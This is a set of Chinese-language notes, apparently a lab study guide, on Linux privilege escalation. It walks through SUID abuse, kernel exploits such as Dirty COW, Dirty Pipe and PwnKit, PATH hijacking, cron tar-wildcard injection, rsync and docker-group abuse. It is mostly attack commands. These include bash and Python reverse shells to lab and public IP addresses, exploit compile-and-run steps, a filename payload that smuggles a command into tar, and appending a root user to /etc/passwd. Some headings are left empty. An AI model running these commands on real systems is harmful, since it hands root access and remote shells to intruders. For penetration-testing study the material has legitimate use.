配合烂土豆MS16_075)
永恒之蓝(MS17-010)
蔓灵花(CVE-2021-1732)
脏牛提权(CVE-2016-5195)
脏管提权(CVE-2022-0847)
SUDO(CVE-2021-3156)
Polkit(CVE-2021-4034)
总结:
利用具有suid权限的命令(nmap,vim,find ,cat,more…)->反弹shell
漏洞提权(cve-2016-5195 cve-2022-0847 cve-2021-3156 cve-2021-4034)
环境变量文件+suid
定时任务提权 =>相对路径和绝对路径执行 计划任务命令存在参数调用
Rsync(未授权访问提权)->873-调用/etc/cron.hourly,利用rsync连接覆盖
Docker组挂载->root用户对docker权限配置不当
一.信息收集
~~~
curl ifconfig.me 可见自己IP
ifconfig 网卡
id 判断权限
uname -srm 版本信息
chmod +x 文件名
*一个综合类探针:https://github.com/liamg/traitor(上传后直接运行即可) ./traitor
一个自动化提权:https://github.com/AlessandroZ/BeRoot(需要py坏境) python beroot.py
*信息收集:https://github.com/rebootuser/LinEnum(出系统信息)=>横向移动/权限维持 ./LinEnum.sh
*信息收集:https://github.com/mzet-/1inux-exploit-suggester(出EXP信息) ./les.sh
漏洞探针:https://github.com/sleventyeleven/linuxprivchecker(需要py坏境) python linuxprivchecker.py
*漏洞探针:https://github.com/jondonas/1inuX-eXp1oit-suggester-2 ./linux-exploit-suggester-2.pl
二进制文件提权查询:
Linux:https://gtfobins.github.io/
windows:https://1o1bas-project.github.io/
set payload php/meter–/reverse–
1go
system(‘bash -c “bash -i >& /dev/tcp/192.168.43.3/2233 0>&1″‘);
~~~
### suid提权
原理
~~~
SUID(Set User ID)是一种特殊的权限设置,
用于在执行程序时将有效用户ID(UID)临时更改为程序文件所有者的UID。
漏洞成因:chmod u+s给予了suid u-s删除了uid
~~~
利用
~~~
https://gtfobins.github.io/
~~~
手工检测
~~~
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
~~~
工具
LinEnum.sh traitor linuxprivchecker
### 利用命令
Nmap
~~~
~~~
Vim
~~~
~~~
Find
~~~
~~~
Bash
~~~
~~~
Less
~~~
~~~
More
~~~
~~~
Nano
~~~
~~~
cp
~~~
~~~
### 流程
~~~~
1.生成linux木马
2.赋予木马权限 chmod 777 木马名
3.攻击机开启监听 use exploit/multi/handle
4.touch 目录
5.find 目录 -exec ./木马名 \;
~~~~
### 反弹shell上线
~~~
https://forum.ywhack.com/shell.php
攻击机监听端口 nc -lvp 端口
例如:
bash -i >& /dev/tcp/192.168.43.3/5555 0>&1
利用NC反弹:
find yeye -exec netcat -lvp 5555 -e /bin/sh
netcat xx.xx.xx.xx 5555
利用Python反弹:
find yeye -exec python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“47.9
4.236.117”,7777));os.dup2(s.fileno(),0)os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=su
bprocess.call([“/bin/sh”,”-i”]);’\;
~~~
.c文件 >gcc +文件名 =>运行
### 漏洞提权
~~~
1、普通EXP上线
提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG
探针项目:BeRoot1inuX-exploit-suggester2
./1inux-exploit-suggester-2.pl
多个文件=>make
.c文件=>gcc+… -o 输出什么文件
gcc 45010.c -o exp
chmod +x exp
./exp
id
2、脏牛提权(CVE-2016-5195) =>修改管理员密码
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c ‘import pty; pty.spawn(“/bin/bash”)’
./dcow
su root
3、脏管提权(CVE-2022-0847)
1)suggester检测 =>存在CVE-2022-0874
下载上传=>编译 gcc dirtypipez.c -o exp
检测具有suid的目录 find / -user root -perm -4000 -print 2>/dev/null
执行 ./exp 有suid权限的目录
2)=>修改管理员密码=>置为空=>复写/etc/passwd
4、SUDO(CVE-2021-3156)
5、Pwnkit(CVE-2021-4034)
suggester检测 =>存在CVE-2021-4034
下载上传=>编译 make
./cve-2021-4034
~~~
### 环境变量文件+SUID
条件
~~~
R00T用户对某个第三方程序给予了SUID权限
~~~
探测
~~~
find / N-user root -perm -4000 -print 2> /dev/nu11
看是否有特殊的目录具有suid =>自己建立的
进入该目录=>查看源码=>是否执行系统命令
~~~
利用
~~~
demo.c内容如下
#include
void main()
{setuid(0);
setgid(0);
system(“ps”);
}
首先root用户操作:
root用户对可执行文件进行编译,
保证文件的正常授权运行,给予ROOT权限执行
gcc demo.c -o shell
chmod u+s shell
其次普通用户操作:
普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
cp /bin/bash /tmp/ps
export PATH=/tmp:$PATH
./shell
id
过程分析:
1.先获取suid程序
2.去除系统自带的
3.下载这个程序进行反编译
~~~
### 定时任务提权
~~~
/etc/crontab
~~~
原理
~~~
利用定时任务配置不规范导致的安全风险
~~~
条件
~~~
提权通过获取计划任务执行文件信息进行提权
1、相对路径和绝对路径执行
2、计划任务命令存在参数调用
~~~
环境搭建
~~~
1.上传环境复现定时脚本:bak.sh
压缩:cd /var/www;tar czf /tmp/backup.tar.gz *
(注意上传后要赋权 chmod +x bak.sh)
2.配置定时任务:
*/1 * * * * root /tmp/bak.sh
3.开启定时任务:
/sbin/service crond start
crontab -u root -l
~~~
利用
~~~
tar czf /tmp/backup.tar.gz –checkpoint=1
tar czf /tmp/backup.tar.gz -checkpoint-action=exec=sh test.sh
echo “” > “–checkpoint-action=exec=sh test.sh” #以命令参数命名的文件
运行test.sh文件
echo “” > –checkpoint=1
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > test.sh
也可以 chmod +s /usr/bin/find
反弹shell -nc /下载木马 wget->执行木马
chmod +x test.sh
==》等待定时任务被执行
运行 ./bash -p (到这相当于用SUID提权)
~~~
补:定时任务&文件权限
同样以上面这个定时任务为例子
假如,root用户给这个脚本赋权的时候用的777或者775赋权
那么我们低配用户。就有修改这个脚本的权限=>可修改为反弹命令
### Rsync(未授权访问提权)
原理
~~~
Rsync是linuX下一款数据备份工具,默认开启873端口
借助Linux默认计划任务 调用/etc/cron.hourly,利用rsync连接覆盖
~~~
提权过程
~~~
靶机操作 192.168.43.175
yum -y install rsync
vim etc/rsync.conf
rsync –daemon
kali操作 192.168.43.134
rsync rsync://192.168.43.175:873
创建nc文件
#!/bin/bash
bash -i >& /dev/tcp/192.168.43.134/3333 0>&1 (反弹shell命令)
上传文件
rsync -av nc rsync://192.168.43.175:873/src/etc/cron.hourly/
监听
nc -lvp 3333
下载文件
rsync -av rsync://192.168.43.175:873/src/etc/crontab
~~~
### Docker组挂载
root用户对docker权限配置不当
环境搭建
“`
检测环境 cat /proc/self/cgroup
“`
~~~
root:
usermod -G docker admin #添加test用户到docker组
newgrp docker #更新docker组
admin:
docker images
docker pull hub-mirror.c.163.com/library/alpine
docker pull registry.cn-hangzhou.aliyuncs.com/library/alpine
docker run -v /root:/mnt -it alpine //进入root目录 可更改如:etc…
可以任意查看root内容 添加定时任务等等..
/etc目录下,shadow与passwd区別?
/etc/passwd文件包含了所有系统用户的基本信息,例如用户名、用户ID、组ID、用户主目录路径、默认she11程序等等。这个文件中的每一行都对应一个用户。
格式为:
shadow文件包含了所有系统用户的密码散列值以及其他与密码相关的信息,例如密码最后一次修改的时间、密码、过期时间、账户是否被锁定等等。这个文件的每一行都对应一个用户。
深入利用:
提权
openssl passwd -1 -salt haha
获取到密码: ?…
进入etc文件
echo ‘haha:上面获取到的密钥:0:0::/root:/bin/bash’ >>passwd
~~~
补充:
只能下载
定时/计划
系统信息passwd shadow(标破正向解密)
www(分析源码-》漏洞(sq/敏感目录信息泄溶(数据库文件)))
敏感日录其他信息泄露(win员工)
上线到了数据库–>执行系统命令
只能上传
定时任务 passwd www webshell
只能执行命令
